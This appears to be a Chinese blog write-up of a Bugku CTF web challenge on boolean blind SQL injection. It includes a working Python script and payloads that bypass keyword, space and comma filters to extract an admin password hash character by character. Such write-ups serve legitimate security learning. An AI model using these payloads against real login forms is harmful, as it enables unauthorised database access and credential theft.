wp-Bugkuctf-web-38(sql注入)【附脚本】

Bugku CTF 学习记录 专栏收录该内容
8 篇文章 0 订阅

写在前面

本题提示是布尔注入,在之前的布尔注入中,一般是针对能否登录的布尔来进行信息获取,这里是利用username是否存在的布尔来进行信息获取,同时伴随着一些关键字过滤,对于布尔注入的进一步学习有一些帮助。

WP

在这里插入图片描述
首先弱密码尝试,显示 password error
在这里插入图片描述
更改后显示 username does not exist
这里就是一组布尔,存在与否
输一些关键字测试一下:

and,or,=,' '

在这里插入图片描述
看来有关键字屏蔽,并且大小写混用没啥用。
继续测试发现…还过滤了空格,逗号,等号,for
空格用括号代替,等号用相反的<>(一种不等号)代替

之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^ 异或或者or 来实现都可以。

具体方法在脚本中以注释形式给出:

#布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string,hashlib
url = 'http://114.67.246.176:19665/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
        payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
        #屏蔽了",",改用mid()函数,from表示起始位置
        #ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
        #<>表示不等号
        #^表示异或
        payload2= "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#"%(i,ord(j))
        #由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
        payload3= "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#"%(i,ord(j))
        
        data = {'username': payload, 'password': 'admin'}
        res = requests.post(url, data=data).text
        if 'username does not exist!' in res:
            a += j
            flag = 1
            print(a)
            break
    if flag == 0:
        break
 
print(a)

脚本跑出为md5加密值,碰撞来解密出密码
在这里插入图片描述
输入密码即可

  • 3
    点赞
  • 13
    评论
  • 1
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

评论 13 您还未登录,请先 登录 后发表或查看评论
©️2022 CSDN 皮肤主题:深蓝海洋 设计师:CSDN官方博客 返回首页

打赏作者

sayo.

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值